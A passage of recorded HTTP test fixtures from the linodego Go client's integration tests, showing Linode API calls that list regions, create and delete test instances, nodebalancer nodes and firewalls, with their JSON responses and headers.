Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441122 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228212 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNodes_ListInstance.yaml000066400000000000000000000616361455402072200342220ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-1t8cik2hw085","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 49708274, "label": "go-test-ins-1t8cik2hw085", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.4.131"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "6eb83ed887a5cd4920fbeb92ba8047f660ef74f4", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "741" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"ipv4","public":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708274/ips method: POST response: body: '{"address": "192.168.159.181", "gateway": null, "subnet_mask": "255.255.128.0", "prefix": 17, "type": "ipv4", "public": false, "rdns": null, "linode_id": 49708274, "region": "ap-west"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "184" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"address":"192.168.159.181:8080","label":"go-node-test-def","weight":10,"mode":"accept"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340/nodes method: POST response: body: '{"id": 516206636, "address": "192.168.159.181:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670340, "nodebalancer_id": 441122}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "182" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340/nodes method: GET response: body: '{"data": [{"id": 516206636, "address": "192.168.159.181:8080", "label": "go-node-test-def", "status": "Unknown", "weight": 10, "mode": "accept", "config_id": 670340, "nodebalancer_id": 441122}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "231" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441122/configs/670340/nodes/516206636 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/49708274 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNodes_ListMultiplePages.yaml000066400000000000000000000620751455402072200352270ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: '{"label":"linodego-fw-test","rules":{"inbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"inbound_policy":"ACCEPT","outbound":[{"action":"ACCEPT","label":"go-fwrule-test","ports":"22","protocol":"TCP","addresses":{"ipv4":["0.0.0.0/0"],"ipv6":["1234::5678/0"]}}],"outbound_policy":"ACCEPT"},"tags":["testing"],"devices":{}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls method: POST response: body: '{"id": 228213, "label": "linodego-fw-test", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "status": "enabled", "rules": {"inbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "inbound_policy": "ACCEPT", "outbound": [{"action": "ACCEPT", "label": "go-fwrule-test", "ports": "22", "protocol": "TCP", "addresses": {"ipv4": ["0.0.0.0/0"], "ipv6": ["1234::5678/0"]}}], "outbound_policy": "ACCEPT"}, "tags": ["testing"]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "526" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": 